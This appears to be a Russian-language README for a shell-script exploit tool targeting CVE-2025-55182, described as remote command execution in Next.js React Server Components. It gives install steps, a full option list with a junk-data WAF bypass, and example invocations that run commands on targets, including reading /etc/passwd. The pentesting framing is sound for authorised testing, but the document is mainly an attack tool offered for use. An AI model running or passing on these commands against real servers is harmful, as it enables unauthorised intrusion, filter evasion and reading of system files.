
Автоматизированный эксплойт для CVE-2025-55182 в серверных компонентах React (Next.js). Обеспечивает удалённое выполнение команд со встроенным обходом WAF, пользовательскими заголовками и пакетным сканированием для пентеста.
Мощный инструмент эксплуатации для обнаружения и использования уязвимости CVE-2025-55182 в React Server Components Next.js. Этот инструмент позволяет удаленно выполнять команды (RCE) в уязвимых приложениях Next.js со встроенными возможностями обхода WAF.

CVE-2025-55182 — это критическая уязвимость в React Server Components Next.js, позволяющая удаленным злоумышленникам выполнять произвольные команды на уязвимых серверах. Этот инструмент предоставляет автоматизированный способ обнаружения и эксплуатации этой уязвимости.
# Clone the repository
git clone https://github.com/Dh4v4l8/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
# Make the script executable
chmod +x exploit.sh
# Test the installation
./exploit.sh -h
Инструмент предоставляет несколько параметров командной строки, позволяющих исследователям настраивать запросы, имитировать трафик или тестировать уровни фильтрации.
Usage: ./exploit.sh [OPTIONS]
Options:
-d, --domain Target domain/URL (default: http://localhost:3000)
If no protocol specified, defaults to https://
-c, --command Command to execute (default: id)
-w, --waf-bypass Enable WAF bypass with junk data (default: 128KB)
--waf-size SIZE WAF bypass data size in KB (default: 128)
--timeout SECONDS Request timeout in seconds (default: 15)
-k, --insecure Disable SSL certificate verification
--user-agent AGENT Custom User-Agent string
-h, --help Show this help message
# Check if target is vulnerable with default command
./exploit.sh -d https://target.com
# Execute custom command
./exploit.sh -d https://target.com -c "whoami"
# Read system files
./exploit.sh -d https://target.com -c "cat /etc/passwd"
# Enable WAF bypass
./exploit.sh -d https://target.com -c "ls -la" -w
# Custom WAF bypass size (256KB)
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256
# Disable SSL verification
./exploit.sh -d https://target.com -c "id" -k
# Custom timeout
./exploit.sh -d https://target.com -c "ping -c 3 google.com" --timeout 30
# Custom User-Agent
./exploit.sh -d https://target.com -c "id" --user-agent "CustomScanner/1.0"